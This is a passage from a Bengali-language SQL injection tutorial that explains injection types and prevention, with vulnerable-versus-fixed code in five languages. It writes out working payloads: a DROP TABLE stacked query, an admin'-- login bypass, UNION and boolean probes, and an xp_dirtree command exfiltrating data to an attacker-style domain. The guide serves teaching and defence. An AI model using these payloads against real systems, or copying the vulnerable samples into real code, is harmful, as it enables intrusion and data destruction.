সম্ভাব্য impact: এটি সবচেয়ে ধীরতম টেকনিক (প্রতিটি bit/character-এর জন্য সেকেন্ড-ব্যয়ী delay লাগে), কিন্তু যখন আর কোনো visible channel থাকে না তখন এটিই একমাত্র ব্যবহারযোগ্য উপায় হতে পারে — তাই এর impact ছোট মনে হলেও এটিকে অবমূল্যায়ন করা ঠিক না।
Fix: Parameterized query মূল সমাধান। এছাড়া database-level query timeout নির্ধারণ করে রাখলে delay-based exploitation-এর কার্যকারিতা কিছুটা সীমিত করা যায় (তবে এটি root cause ফিক্স নয়)।
Time-based টেকনিক lab/authorized পরিবেশেও সীমিত সংখ্যক request-এ রাখা উচিত — অতিরিক্ত delay-ভিত্তিক request পাঠানো target সার্ভারের উপর অনিচ্ছাকৃত লোড (সামান্য denial-of-service-এর মতো প্রভাব) তৈরি করতে পারে।
৫. Stacked Queries (Multi-Statement SQLi)
এটি কী: Stacked queries (বা multi-statement injection) হলো এমন একটি কৌশল যেখানে attacker একটি সেমিকোলন (;) ব্যবহার করে মূল query-এর পর সম্পূর্ণ নতুন, স্বতন্ত্র একটি SQL statement জুড়ে দেয় — যেমন SELECT-এর বদলে INSERT, UPDATE, DELETE, বা এমনকি stored procedure কল।
কেন ঘটে: কিছু database driver/API (যেমন PHP-এর PDO নির্দিষ্ট ড্রাইভার সেটিংসে, বা MSSQL-এর ডিফল্ট আচরণ) একই connection-এ একাধিক সেমিকোলন-বিচ্ছিন্ন statement execute করার অনুমতি দেয়। যদি এই সুবিধা চালু থাকে এবং input sanitize না হয়, তাহলে attacker সম্পূর্ণ নতুন statement যোগ করতে পারে।
Input: 7; DROP TABLE logs--
Query: SELECT * FROM products WHERE id = 7; DROP TABLE logs--
→ প্রথম statement স্বাভাবিকভাবে চলে, এরপর সেমিকোলনের পরের statement
(এখানে ধ্বংসাত্মক DROP TABLE) আলাদাভাবে execute হয়।
গুরুত্বপূর্ণ সীমাবদ্ধতা: MySQL-এর সাধারণ ওয়েব ব্যবহারে (যেমন PHP-এর mysqli ডিফল্ট single-statement মোডে) stacked queries সাধারণত সমর্থিত না, কিন্তু MSSQL ও PostgreSQL-এর অনেক driver-এ এটি ডিফল্টভাবে সম্ভব হতে পারে। তাই stacked query টেস্ট করার আগে target-এর backend database ও driver সম্পর্কে ধারণা থাকা জরুরি — "সব জায়গায় কাজ করবে" এমন কোনো universal payload নেই।
Evidence: Lab পরিবেশে নিরাপদ, non-destructive প্রমাণ (যেমন একটি harmless WAITFOR DELAY দ্বিতীয় statement হিসেবে যোগ করে timing differenc যাচাই করা) ব্যবহার করা উচিত — বাস্তব ডেটা পরিবর্তন/মোছা করে প্রমাণ করা কখনোই প্রয়োজনীয় না এবং এটি destructive।
সম্ভাব্য impact: এটি SQLi-এর মধ্যে সবচেয়ে বেশি ঝুঁকিপূর্ণ ধরনগুলোর একটি, কারণ এটি শুধু ডেটা পড়ার (SELECT) সীমাবদ্ধতা ছাড়িয়ে ডেটা পরিবর্তন, মোছা, এমনকি (কিছু পরিস্থিতিতে, উচ্চ-privilege account হলে) stored procedure-এর মাধ্যমে OS-level command পর্যন্ত পৌঁছাতে পারে।
Fix: Parameterized query ব্যবহার করলে এমনিতেই সেমিকোলন দিয়ে আলাদা statement ইনজেক্ট করা অসম্ভব হয়ে যায়। এছাড়া, driver/connection লেভেলে multi-statement execution বন্ধ রাখা (যেখানে সম্ভব) একটি অতিরিক্ত defense layer।
Stacked query টেস্ট করার সময় কখনোই DROP, DELETE, বা UPDATE-জাতীয় destructive statement বাস্তব বা shared lab ডেটাবেসে চালাবেন না। প্রমাণের জন্য সবসময় non-destructive পদ্ধতি (যেমন timing-based verification) ব্যবহার করুন, এবং শুধুমাত্র নিজের isolated lab-এ destructive টেস্ট করুন।
৬. Content-Based Inference
এটি কী: Content-based inference হলো boolean-based blind SQLi-এরই একটি সাধারণ ছাতা-ধারণা (umbrella concept) — যেখানে attacker সরাসরি error বা ডেটা না দেখেই, শুধুমাত্র response-এর content-এ ছোট পরিবর্তন (যেমন একটি নির্দিষ্ট শব্দ/সেকশন থাকা বা না-থাকা, product count ভিন্ন হওয়া, image দেখানো না-দেখানো) পর্যবেক্ষণ করে condition true/false অনুমান করে।
কেন ঘটে: Application হয়তো error suppress করে, কিন্তু query logic-এর ফলাফল অনুযায়ী UI-এর কোনো অংশ শর্তসাপেক্ষে দেখায়/লুকায় — যেমন "কোনো ফলাফল পাওয়া যায়নি" বার্তা, অথবা একটি খালি তালিকা বনাম ভরা তালিকা।
কীভাবে কাজ করে ও পার্থক্য: Boolean-based blind মূলত একটি নির্দিষ্ট true/false response pattern-এর উপর নির্ভর করে, যেখানে content-based inference আরও বিস্তৃত — এটি শুধু true/false নয়, বরং কতগুলো সারি ফেরত এলো, কোন নির্দিষ্ট item দেখা গেল, এরকম আরও সূক্ষ্ম সংকেতও ব্যবহার করতে পারে। যেমন row-count ভিত্তিক inference: AND (SELECT COUNT(*) FROM users) > 5 দিয়ে ধাপে ধাপে বাইনারি-সার্চ পদ্ধতিতে প্রকৃত সংখ্যা বের করা যায়।
?id=7 AND (SELECT COUNT(*) FROM users) > 50-- → true/false
?id=7 AND (SELECT COUNT(*) FROM users) > 25-- → পরের ধাপ
... এভাবে বাইনারি সার্চে সঠিক সংখ্যায় পৌঁছানো, অনেক কম request-এEvidence ও false positives: যেহেতু signal subtle, pagination/sorting-জনিত স্বাভাবিক ভিন্নতা থেকে প্রকৃত content পার্থক্য আলাদা করা কঠিন হতে পারে — তাই বেসলাইন বারবার নিশ্চিত করা জরুরি। Impact ও fix: boolean-blind-এর অনুরূপ; parameterized query মূল সমাধান।
৭–৮. In-Band ও Out-of-Band SQL Injection
এই দুটি আলাদা exploitation টেকনিক নয়, বরং communication channel অনুযায়ী SQLi-কে শ্রেণীবদ্ধ করার একটি উপায়।
In-band SQL Injection
এটি কী: যখন attacker একই HTTP response-এর মধ্যেই ফলাফল দেখতে পায় — error-based ও UNION-based উভয়ই in-band, কারণ এতে একই চ্যানেল (HTTP response) দিয়ে request পাঠানো এবং ফলাফল পড়া — দুটোই হয়।
Out-of-Band (OOB) SQL Injection
এটি কী: যখন ফলাফল সরাসরি HTTP response-এ দেখা যায় না (এমনকি blind টেকনিকও ব্যবহারযোগ্য না বা অত্যন্ত ধীর), তখন attacker database-কে একটি সম্পূর্ণ আলাদা network চ্যানেল (যেমন DNS বা HTTP request) দিয়ে নিজের কন্ট্রোল করা সার্ভারে ডেটা পাঠাতে বাধ্য করে।
কীভাবে কাজ করে: MSSQL-এ xp_dirtree বা Oracle-এ UTL_HTTP/UTL_INADDR-এর মতো built-in function ব্যবহার করে ডেটাবেস সার্ভার নিজে থেকে একটি বহির্গামী (outbound) DNS lookup বা HTTP request পাঠায়, যার subdomain বা path-এর মধ্যে চুরি করা ডেটা এনকোড করা থাকে।
'; EXEC master..xp_dirtree '\\attacker-controlled-domain.example\share'--
→ যদি DNS resolution লগে দেখা যায়, তাহলে বোঝা যায় stacked query ও
network-level OOB সম্ভব। প্রকৃত ডেটা-এক্সফিল্ট্রেশনে subdomain-এর
মধ্যে এনকোড করা ডেটা বসানো হয় (যেমন secretvalue.attacker-domain.example)।কোন পরিস্থিতিতে উপযোগী: যখন application-এর response একদমই ডেটা-নিরপেক্ষ (error suppress করা, timing-ও blocked বা অসামঞ্জস্যপূর্ণ) এবং database-এর network-level function-এ access আছে। এটি তুলনামূলক কম দেখা যায়, কারণ অধিকাংশ production database-এ এই ধরনের বহির্গামী নেটওয়ার্ক ফাংশন নিষ্ক্রিয় বা ফায়ারওয়াল-সুরক্ষিত থাকে।
Fix: Parameterized query মূল সমাধান; এছাড়া database সার্ভার থেকে বহির্গামী নেটওয়ার্ক কল (DNS, HTTP) ফায়ারওয়াল দিয়ে ব্লক করা একটি গুরুত্বপূর্ণ defense-in-depth স্তর।
৯. Second-Order SQL Injection
এটি কী: Second-order SQLi-তে malicious input তাৎক্ষণিকভাবে কোনো query-তে ব্যবহৃত হয় না — বরং প্রথমে নিরাপদভাবে (parameterized আকারে) database-এ সংরক্ষিত হয়, এবং পরে, একটি সম্পূর্ণ ভিন্ন ফিচারে, সেই সংরক্ষিত মান যখন un-sanitized অবস্থায় একটি নতুন query তৈরিতে ব্যবহৃত হয়, তখন injection ঘটে।
কেন ঘটে: ডেভেলপাররা প্রায়ই ধরে নেন যে database থেকে পড়া ডেটা "ইতিমধ্যে নিরাপদ" — কিন্তু আসল নিরাপত্তা নির্ভর করে ডেটা কীভাবে ব্যবহৃত হচ্ছে তার উপর, কোথা থেকে এলো তার উপর নয়।
ধাপ ১: রেজিস্ট্রেশনে username হিসেবে পাঠানো হলো: alamin'--
→ parameterized INSERT দিয়ে নিরাপদে সংরক্ষিত হলো (কোনো injection হয়নি এখানে)
ধাপ ২: পরে, "প্রোফাইল সম্পাদনা" ফিচারে, backend কোড ভুলভাবে
stored username আবার string-concatenation দিয়ে একটি নতুন
query-তে ব্যবহার করলো:
"UPDATE profile SET bio = '...' WHERE username = '" + storedUsername + "'"
→ এখন stored 'alamin'-- মান injection ঘটায়, যদিও মূল ইনপুট
আসার সময় কোনো সমস্যা ধরা পড়েনি।Manual testing-এর কৌশল: শুধুমাত্র input পয়েন্টে টেস্ট করলে second-order ধরা পড়ে না — পুরো ডেটা flow ম্যাপ করতে হয়: কোথায় ডেটা প্রথম সংরক্ষিত হয়, এবং এরপর অ্যাপ্লিকেশনের কোন কোন জায়গায় সেই ডেটা পুনরায় পড়া ও query-তে ব্যবহার করা হয়।
Common false positives: যেহেতু trigger ও effect আলাদা জায়গায়/সময়ে ঘটে, তাই causation প্রমাণ করা কঠিন — একই পরীক্ষা বারবার (store → trigger অন্য ফিচার → পর্যবেক্ষণ) পুনরাবৃত্তি করে নিশ্চিত হতে হবে।
Impact ও fix: Impact normal SQLi-এর মতোই গুরুতর হতে পারে, কিন্তু আবিষ্কার করা কঠিন বলে প্রায়ই দীর্ঘদিন অলক্ষিত থাকে। Fix: প্রতিটি query-তে — ডেটা নতুন ইনপুট হোক বা database থেকে পড়া — সবসময় parameterized query ব্যবহার করা, "already trusted" বলে কোনো ডেটা উৎসকে বিশেষ ছাড় না দেওয়া।
১০. Authentication-Related SQL Injection
এটি কী: এটি একটি নির্দিষ্ট প্রয়োগক্ষেত্র, যেখানে উপরের যেকোনো টেকনিক (সাধারণত error-based বা boolean-based) ব্যবহার করে login/authentication query-কে প্রভাবিত করে authentication বাইপাস করা হয়।
Query: SELECT * FROM users WHERE username = '{u}' AND password = '{p}'
Input username: admin'--
Input password: (যেকোনো কিছু)
Resulting query: SELECT * FROM users WHERE username = 'admin'--' AND password = '...'
→ "--" এর পরের অংশ comment হয়ে যায়, ফলে শুধু username='admin'
যাচাই হয়, password যাচাই বাদ পড়ে যায়।Database-specific comment syntax গুরুত্বপূর্ণ: MySQL/PostgreSQL-এ -- (স্পেসসহ) বা # (শুধু MySQL), MSSQL-এ --। সঠিক comment syntax না জানলে payload কাজ নাও করতে পারে।
সম্ভাব্য false positives: লগইন ব্যর্থ হওয়ার সাধারণ কারণ (ভুল পাসওয়ার্ড) থেকে প্রকৃত bypass আলাদা করতে হবে — শুধুমাত্র সফল session/token তৈরি হওয়াই প্রকৃত প্রমাণ, নিছক ভিন্ন error message নয়।
Impact: সরাসরি account takeover বা admin-level access — তাই সাধারণত Critical severity। Fix: parameterized query, পাশাপাশি password যাচাই application-layer-এ hash তুলনা দিয়ে করা (শুধু SQL condition-এর উপর নির্ভর না করা)।
১১–১২. Numeric-Context ও String-Context SQL Injection
অধ্যায় ০২-এ আমরা দেখেছি query context গুরুত্বপূর্ণ কেন। এখানে দুটি context-ই পাশাপাশি তুলনা করে দেখানো হলো, কারণ payload-এর গঠন context-নির্ভর।
Numeric context
যখন parameter সরাসরি সংখ্যা হিসেবে ব্যবহৃত হয় (কোনো quote ছাড়া), যেমন WHERE id = 7। এখানে quote বন্ধ করার দরকার নেই — সরাসরি operator/keyword যোগ করা যায়:
?id=7 AND 1=1-- (true)
?id=7 AND 1=2-- (false)
?id=7 UNION SELECT ...String context
যখন parameter একটি quoted string-এর ভেতরে বসে, যেমন WHERE name = 'ইনপুট'। এখানে প্রথমে quote বন্ধ করতে হবে, তারপর payload যোগ করতে হবে, এবং প্রয়োজনে পরবর্তী quote-কেও সামলাতে হবে:
?name=x' AND '1'='1
?name=x' AND '1'='2
?name=x' UNION SELECT NULL,NULL--সাধারণ ভুল: string context-এর জন্য তৈরি payload (quote-সহ) numeric context-এ পাঠালে, সেটি numeric query-তে একটি অপ্রত্যাশিত quote যোগ করে এবং বরং error সৃষ্টি করে বা কাজই করে না — তাই আগে context নির্ধারণ করা, তারপর সেই অনুযায়ী payload বাছাই করা জরুরি। Fix (উভয় context-এর জন্য): parameterized query — তখন context যাই হোক, driver নিজে সঠিকভাবে bind করে।
১৩. ORDER BY ও অন্যান্য SQL Clause-এ Injection
এটি কী: Sorting ফিচারে ইউজার প্রায়ই কলামের নাম বা দিক (ASC/DESC) নির্বাচন করে — এটি ORDER BY clause-এ সরাসরি বসে। যেহেতু এটি একটি identifier/keyword position (ডেটা ভ্যালু নয়), parameterized query দিয়ে সরাসরি সুরক্ষিত করা যায় না।
GET /products?sort=price
Query: SELECT * FROM products ORDER BY price
Test: GET /products?sort=price,(SELECT CASE WHEN (1=1) THEN price ELSE name END)
→ এরকম conditional expression দিয়ে boolean-based blind inference
করা সম্ভব, এমনকি ORDER BY-এর মতো "non-data" position-এও।বিশেষত্ব: যেহেতু এখানে parameterization প্রযোজ্য না, তাই এই অবস্থানটি প্রায়ই allowlist validation ছাড়া ছেড়ে দেওয়া হয় — এবং developer-রা প্রায়ই ভুলে যান যে এটি একটি injection point হতে পারে, কারণ এটি "শুধু sorting" মনে হয়।
Common false positive: অবৈধ sort value দিলে অনেক framework ডিফল্ট sort-এ ফিরে যায় (silent fallback) — এটি vulnerability-এর অভাব বোঝাতে পারে, অথবা শুধু robust error-handling বোঝাতে পারে; নিশ্চিত হতে conditional expression দিয়ে true/false পার্থক্য যাচাই করা দরকার। Fix: allowlist — শুধুমাত্র পূর্বনির্ধারিত কলাম নাম ও ASC/DESC গ্রহণ করা (অধ্যায় ১৭ দেখুন)।
১৪. Stored Procedure-সংক্রান্ত SQL Injection
এটি কী: Stored procedure হলো database-এর ভেতরে আগে থেকে সংরক্ষিত একটি SQL রুটিন, যা application কল করে। সাধারণ ধারণা থাকে stored procedure ব্যবহার করলেই SQLi থেকে সুরক্ষিত — কিন্তু procedure-এর ভেতরে যদি dynamic SQL (parameter-কে string হিসেবে জোড়া লাগিয়ে আরেকটি query বানানো, যেমন MSSQL-এর EXEC/sp_executesql) ব্যবহৃত হয়, তাহলে injection তখনও সম্ভব।
CREATE PROCEDURE SearchProducts @category NVARCHAR(100)
AS
BEGIN
DECLARE @sql NVARCHAR(MAX)
SET @sql = 'SELECT * FROM products WHERE category = ''' + @category + ''''
EXEC(@sql) -- এখানেই সমস্যা: @category string concatenation দিয়ে query-তে বসছে
ENDEvidence: Procedure নিজে parameter গ্রহণ করে বলে উপরি-উপরি নিরাপদ মনে হতে পারে, কিন্তু ভেতরের EXEC(@sql)-এর ফলে একই ক্লাসিক string-context injection ঘটে, যা আগের টেকনিকগুলো দিয়েই শনাক্ত করা যায়। Fix: procedure-এর ভেতরেও parameterized/sp_executesql with parameters ব্যবহার করা — কখনো raw string concatenation দিয়ে dynamic SQL না বানানো।
১৫. ORM ও Query-Construction-সংক্রান্ত SQL Injection
এটি কী: আধুনিক ফ্রেমওয়ার্কে ORM (Object-Relational Mapping) — যেমন Django ORM, SQLAlchemy, Sequelize, Hibernate — ব্যবহার করা হয়, যা সাধারণত নিজে থেকেই parameterized query তৈরি করে। তবে প্রায় প্রতিটি ORM-এ একটি "raw/native query" escape hatch থাকে, এবং সেখানে ডেভেলপার যদি ভুলভাবে string concatenation/f-string ব্যবহার করেন, তাহলে ORM ব্যবহার সত্ত্বেও SQLi তৈরি হয়।
# ❌ vulnerable — .raw() এর ভেতরে string formatting
User.objects.raw(f"SELECT * FROM users WHERE username = '{username}'")
# ✅ safe — .raw() এর নিজস্ব parameter placeholder ব্যবহার করে
User.objects.raw("SELECT * FROM users WHERE username = %s", [username])
# ✅✅ সবচেয়ে ভালো — ORM-এর নিজস্ব query API ব্যবহার করা (raw() এড়িয়ে চলা)
User.objects.filter(username=username)কোথায় খুঁজবেন: কোডবেসে .raw(, .query(, executeQuery(, $queryRaw-জাতীয় মেথড কল এবং তার ভেতরে কোথাও string concatenation/template literal/f-string আছে কি না — এগুলোই review-এর অগ্রাধিকার তালিকা। Impact ও fix: সাধারণ SQLi-এর মতোই; fix হলো raw query-তেও parameterization বজায় রাখা, অথবা যেখানে সম্ভব ORM-এর স্বাভাবিক (non-raw) API ব্যবহার করা।
১৬. JSON/API Parameter-এ SQL Injection
এটি কী: আধুনিক অ্যাপ্লিকেশন প্রায়ই ফর্ম-এনকোডেড ডেটার বদলে JSON request body ব্যবহার করে। অনেক ডেভেলপার ভুলভাবে মনে করেন JSON ফরম্যাট নিজেই কোনো সুরক্ষা দেয় — কিন্তু JSON শুধু ডেটা পাঠানোর একটি ফরম্যাট মাত্র; backend সেই ভ্যালু কীভাবে query-তে ব্যবহার করছে সেটাই গুরুত্বপূর্ণ।
POST /api/search
Content-Type: application/json
{"category": "electronics'; DROP TABLE logs--"}
→ যদি backend এই category ভ্যালু string-concatenation দিয়ে query-তে
বসায়, তাহলে JSON ফরম্যাট ব্যবহার সত্ত্বেও injection ঘটবে — ঠিক
form-field-এর মতোই।বিশেষ বিবেচ্য বিষয়: JSON-এ nested object/array থাকতে পারে (যেমন filters: [{"field": "price", "op": ">", "value": 100}]) — এখানে field ও op প্রায়ই সরাসরি কলাম নাম/অপারেটর হিসেবে ব্যবহৃত হয়, যা ORDER BY-এর মতোই allowlist-নির্ভর সুরক্ষা দাবি করে। Fix: JSON parsing-এর পরেও, প্রতিটি মান query-তে ব্যবহারের আগে একই parameterization/allowlist নিয়ম প্রযোজ্য — ফরম্যাট যাই হোক না কেন।
১৭. Search, Filter ও Sorting Functionality-তে SQL Injection
এটি কী: সার্চ/ফিল্টার/সর্টিং ফিচার প্রায়ই একাধিক parameter একত্র করে একটি জটিল, dynamically-built query তৈরি করে (যেমন একাধিক WHERE শর্ত AND/OR দিয়ে জোড়া লাগানো), যা injection-এর জন্য একটি সমৃদ্ধ ক্ষেত্র তৈরি করে।
GET /search?q=laptop&min_price=500&max_price=2000&sort=price&dir=asc
ধারণাগত backend (vulnerable):
query = "SELECT * FROM products WHERE name LIKE '%" + q + "%'
AND price BETWEEN " + min_price + " AND " + max_price + "
ORDER BY " + sort + " " + dir
→ এখানে ৫টি ভিন্ন parameter, ৩টি ভিন্ন context (string LIKE, numeric,
identifier/clause) একসাথে মিশে আছে — প্রতিটি আলাদাভাবে টেস্ট করা জরুরি।Manual testing-এর কৌশল: একবারে একটি parameter পরিবর্তন করুন, বাকিগুলো বেসলাইন মান রাখুন (অধ্যায় ০৬-এর controlled-testing নীতি) — একসাথে একাধিক parameter বদলালে কোনটি আসলে প্রভাব ফেলছে তা বোঝা কঠিন হয়ে যায়। LIKE operator-এর ক্ষেত্রে বিশেষভাবে % ও _ wildcard বিবেচনায় রাখুন, কারণ এগুলোও SQL-এর বিশেষ অক্ষর।
Impact ও fix: যেকোনো একটি দুর্বল parameter-ই পুরো query-কে ঝুঁকিপূর্ণ করে তোলে। প্রতিটি ডেটা-ভ্যালু parameter (q, min_price, max_price) parameterize করতে হবে, আর identifier parameter (sort, dir) allowlist দিয়ে সীমাবদ্ধ করতে হবে।
Knowledge-check
- Error-based ও boolean-based blind SQLi-এর মধ্যে মূল পার্থক্য কী?
- UNION-based attack-এ column count মেলানো কেন জরুরি?
- Time-based blind টেকনিকে কেন একাধিকবার measurement নেওয়া প্রয়োজন?
- Stacked queries সব database-এ সমানভাবে কাজ করে না কেন?
- Second-order SQLi কেন সাধারণ টেস্টিং পদ্ধতিতে ধরা পড়ে না?
- In-band ও out-of-band SQLi-এর মধ্যে মূল পার্থক্য কী?
- ORDER BY clause-এ parameterized query কেন সরাসরি প্রয়োগ করা যায় না?
- JSON body ব্যবহার করলে কি SQLi ঝুঁকি কমে? ব্যাখ্যা করুন।
SQL Injection Prevention
SQLi ঠেকানোর মূল ভিত্তি হলো কোড লেখার অভ্যাস — এখানে Python, PHP, Node.js, Java ও C#-এর vulnerable ও fixed উদাহরণ লাইন-বাই-লাইন ব্যাখ্যাসহ দেওয়া হলো।
Prepared Statements ও Parameterized Queries — মূল সমাধান
কী এবং কেন: Parameterized query-তে SQL statement-এর গঠন (structure) এবং ইউজার-ইনপুট (ডেটা) সম্পূর্ণ আলাদা দুইটি চ্যানেল দিয়ে database-এ পাঠানো হয়। Database driver প্রথমে query-এর "টেমপ্লেট" (placeholder ? বা named parameter সহ) পাঠায়, তারপর আলাদাভাবে প্রতিটি মান পাঠায়। এর ফলে, ইউজার যতই ' OR '1'='1-এর মতো টেক্সট পাঠাক না কেন, database সেটিকে কখনোই SQL syntax হিসেবে interpret করবে না — এটি সবসময় শুধুই একটি স্ট্রিং মান হিসেবে গণ্য হবে।
Parameterized query দিয়ে কী সুরক্ষিত হয় না: এটি শুধু ডেটা ভ্যালুকে (যেমন WHERE username = ?) সুরক্ষিত করে। এটি dynamic table/column name বা ORDER BY দিক (ASC/DESC)-কে সুরক্ষিত করে না, কারণ এগুলো SQL-এর identifier/syntax অংশ — parameter হিসেবে bind করা যায় না। এর জন্য আলাদাভাবে allowlist ব্যবহার করতে হয় (নিচে দেখুন)।
Python (ভুল বনাম সঠিক)
# লাইন ১: ইউজার ইনপুট সরাসরি নেওয়া হচ্ছে
username = request.form["username"]
# লাইন ২-৩: f-string দিয়ে query তৈরি — ইনপুট সরাসরি query-এর ভেতর বসছে
query = f"SELECT * FROM users WHERE username = '{username}'"
cursor.execute(query)
# সমস্যা: username-এ single quote থাকলে query-এর গঠন বদলে যাবে
# লাইন ১: একই ইনপুট নেওয়া
username = request.form["username"]
# লাইন ২-৩: placeholder (%s) ব্যবহার, ইনপুট আলাদা tuple আকারে পাঠানো হচ্ছে
query = "SELECT * FROM users WHERE username = %s"
cursor.execute(query, (username,))
# driver নিজে input-কে escape/bind করে — কখনোই query syntax-এর অংশ হয় না
PHP (PDO)
// লাইন ১: GET parameter সরাসরি নেওয়া হচ্ছে
$id = $_GET['id'];
// লাইন ২-৩: string concatenation দিয়ে query তৈরি
$query = "SELECT * FROM products WHERE id = " . $id;
$result = $pdo->query($query);
// সমস্যা: $id numeric context হলেও কোনো যাচাই/parameterization নেই
// লাইন ১: একই ইনপুট নেওয়া
$id = $_GET['id'];
// লাইন ২: named placeholder সহ prepared statement তৈরি
$stmt = $pdo->prepare("SELECT * FROM products WHERE id = :id");
// লাইন ৩: ইনপুট আলাদাভাবে bind ও execute করা হচ্ছে
$stmt->execute(['id' => $id]);
// PDO ড্রাইভার এখানে type-aware বাইন্ডিং করে, query আলাদা থাকে
Node.js (node-postgres)
// লাইন ১: request body থেকে ইনপুট
const email = req.body.email;
// লাইন ২-৩: template literal দিয়ে query তৈরি — injection-এর ক্লাসিক pattern
const query = `SELECT * FROM users WHERE email = '${email}'`;
const result = await pool.query(query);
// লাইন ১: একই ইনপুট
const email = req.body.email;
// লাইন ২: $1 পজিশনাল placeholder ব্যবহার
const query = "SELECT * FROM users WHERE email = $1";
// লাইন ৩: values array আলাদাভাবে পাঠানো হচ্ছে
const result = await pool.query(query, [email]);
// pg ড্রাইভার query ও values কে আলাদা protocol message হিসেবে পাঠায়
Java (JDBC)
// লাইন ১: পরামিতি হিসেবে আসা ইনপুট
String category = request.getParameter("category");
// লাইন ২-৩: Statement + string concatenation
Statement stmt = connection.createStatement();
ResultSet rs = stmt.executeQuery(
"SELECT * FROM products WHERE category = '" + category + "'");
// লাইন ১: একই ইনপুট
String category = request.getParameter("category");
// লাইন ২: PreparedStatement-এ placeholder (?) ব্যবহার
PreparedStatement stmt = connection.prepareStatement(
"SELECT * FROM products WHERE category = ?");
// লাইন ৩: ইনপুট টাইপ-নির্দিষ্টভাবে bind করা
stmt.setString(1, category);
ResultSet rs = stmt.executeQuery();
// JDBC driver এখানে category-কে কখনো SQL token হিসেবে parse করবে না
C# (ADO.NET)
// লাইন ১: query string থেকে ইনপুট
string username = Request.Query["username"];
// লাইন ২-৩: string interpolation দিয়ে query তৈরি
string sql = $"SELECT * FROM Users WHERE Username = '{username}'";
var cmd = new SqlCommand(sql, connection);
// লাইন ১: একই ইনপুট
string username = Request.Query["username"];
// লাইন ২: @-prefixed named parameter সহ query
string sql = "SELECT * FROM Users WHERE Username = @username";
var cmd = new SqlCommand(sql, connection);
// লাইন ৩: parameter আলাদাভাবে যোগ করা হচ্ছে
cmd.Parameters.AddWithValue("@username", username);
// SqlCommand ইনপুটকে ডেটা হিসেবে পাঠায়, কখনো query text-এ জোড়া লাগায় না
Dynamic Table/Column Name-এর নিরাপদ Allowlist
যখন sorting বা filtering ফিচারে ইউজার কলামের নাম নির্বাচন করতে পারে (যেমন ?sort=price), তখন parameterized query দিয়ে কলামের নাম bind করা যায় না — কারণ SQL-এ identifier parameter হিসেবে পাঠানো সম্ভব না। সমাধান হলো একটি নির্দিষ্ট, পূর্বনির্ধারিত তালিকার (allowlist) বাইরে কোনো মান গ্রহণ না করা:
allowed_columns = {"price", "name", "created_at"}
requested = user_input_sort_column
if requested not in allowed_columns:
raise InvalidInputError("অবৈধ sort column")
query = f"SELECT * FROM products ORDER BY {requested}" # এখন নিরাপদ,
# কারণ requested শুধুমাত্র পূর্বনির্ধারিত, কোড-নিয়ন্ত্রিত মান হতে পারে
ORM-এর নিরাপদ ব্যবহার
Django ORM, SQLAlchemy, Sequelize, Hibernate-এর মতো ORM সাধারণত ডিফল্টভাবে parameterized query তৈরি করে, তাই নিরাপদ। কিন্তু প্রায় প্রতিটি ORM-এ একটি "raw query" বা "escape hatch" থাকে (যেমন Django-এর .raw(), Sequelize-এর .query()), যেখানে ডেভেলপার যদি string concatenation ব্যবহার করে, তাহলে ORM ব্যবহার করা সত্ত্বেও vulnerability তৈরি হতে পারে। তাই ORM ব্যবহার করলেই "স্বয়ংক্রিয়ভাবে নিরাপদ" ধরে নেওয়া ভুল — raw/native query অংশগুলো আলাদাভাবে review করা দরকার।
Stored Procedure-এর নিরাপদ ব্যবহার
Stored procedure নিজে থেকেই SQLi থেকে সুরক্ষা দেয় না — যদি procedure-এর ভেতরে dynamic SQL (EXEC, sp_executesql + string concatenation) ব্যবহার করা হয়, তাহলে procedure-এর ভেতরেও injection সম্ভব। Stored procedure-এর parameter নিজে parameterized হলেও, procedure নিজের ভেতরে কীভাবে সেই parameter ব্যবহার করছে তা গুরুত্বপূর্ণ।
Input Validation
Input validation (যেমন email ফরম্যাট, সংখ্যা শুধু সংখ্যা কি না যাচাই করা) একটি ভালো অতিরিক্ত defense layer, কিন্তু এটি কখনোই parameterized query-এর বিকল্প নয় — কারণ validation রুল প্রায়ই অসম্পূর্ণ বা bypass-যোগ্য হতে পারে (যেমন Unicode normalization-এর কারণে)। Defense-in-depth হিসেবে উভয়ই ব্যবহার করা উচিত।
Output Encoding কেন SQLi-এর মূল সমাধান নয়
Output encoding (যেমন HTML entity encoding) XSS প্রতিরোধে কার্যকর, কিন্তু SQLi একটি সম্পূর্ণ ভিন্ন সমস্যা — এখানে ইনপুট output হিসেবে ব্রাউজারে render হওয়ার আগেই backend query-তে ক্ষতি করে ফেলে। তাই output encoding SQLi-এর জন্য প্রাসঙ্গিক নয়; input/query-layer সমাধানই (parameterization) দরকার।
Least-Privilege Database Accounts
Application যে database account দিয়ে সংযুক্ত হয়, সেটিকে শুধুমাত্র প্রয়োজনীয় ন্যূনতম privilege দেওয়া উচিত। যেমন একটি read-only reporting ফিচারের জন্য এমন একটি account ব্যবহার করা উচিত যার DROP, DELETE, বা অন্য টেবিলে access নেই। এর ফলে, কোনো কারণে SQLi ঘটলেও attacker-এর সম্ভাব্য ক্ষতি (blast radius) সীমিত থাকে।
Safe Error Handling
Production পরিবেশে কখনোই raw database error message ইউজারকে দেখানো উচিত না। এর বদলে generic error message ("কিছু একটা ভুল হয়েছে") দেখিয়ে, বিস্তারিত error শুধুমাত্র server-side log-এ রাখা উচিত।
Secret Management ও Logging
Database connection string/credential environment variable বা secret manager-এ রাখা উচিত, কোডে hardcode নয় — যদি SQLi দিয়ে source code-এর অংশ ফাঁস হয়েও যায়, তাহলেও credential উন্মুক্ত হবে না। এছাড়া অস্বাভাবিক query pattern (যেমন একই IP থেকে বারবার UNION SELECT-জাতীয় input) মনিটর করার জন্য logging ও alerting রাখা উচিত।
Regression Testing ও Secure Code Review
প্রতিটি নতুন ফিচার যা database query তৈরি করে, তার জন্য automated static analysis (SAST) টুল এবং manual code review-তে নির্দিষ্টভাবে "এই query কি parameterized?" যাচাই করা উচিত। CI/CD pipeline-এ SQLi-নির্দিষ্ট regression টেস্ট (যেমন পরিচিত payload দিয়ে automated scan) যোগ করা যেতে পারে।
Developer Checklist
- ☐ সব database query parameterized/prepared statement দিয়ে তৈরি হচ্ছে কি?
- ☐ কোথাও raw/dynamic SQL string concatenation আছে কি না খুঁজে দেখা হয়েছে?
- ☐ Dynamic column/table name allowlist দিয়ে সীমাবদ্ধ করা হয়েছে?
- ☐ Database account least-privilege নীতিতে কনফিগার করা?
- ☐ Production-এ verbose error message বন্ধ?
- ☐ ORM-এর raw query অংশগুলো আলাদাভাবে review করা হয়েছে?
- ☐ Input validation defense-in-depth হিসেবে আছে (কিন্তু একমাত্র সুরক্ষা নয়)?
অনুশীলন
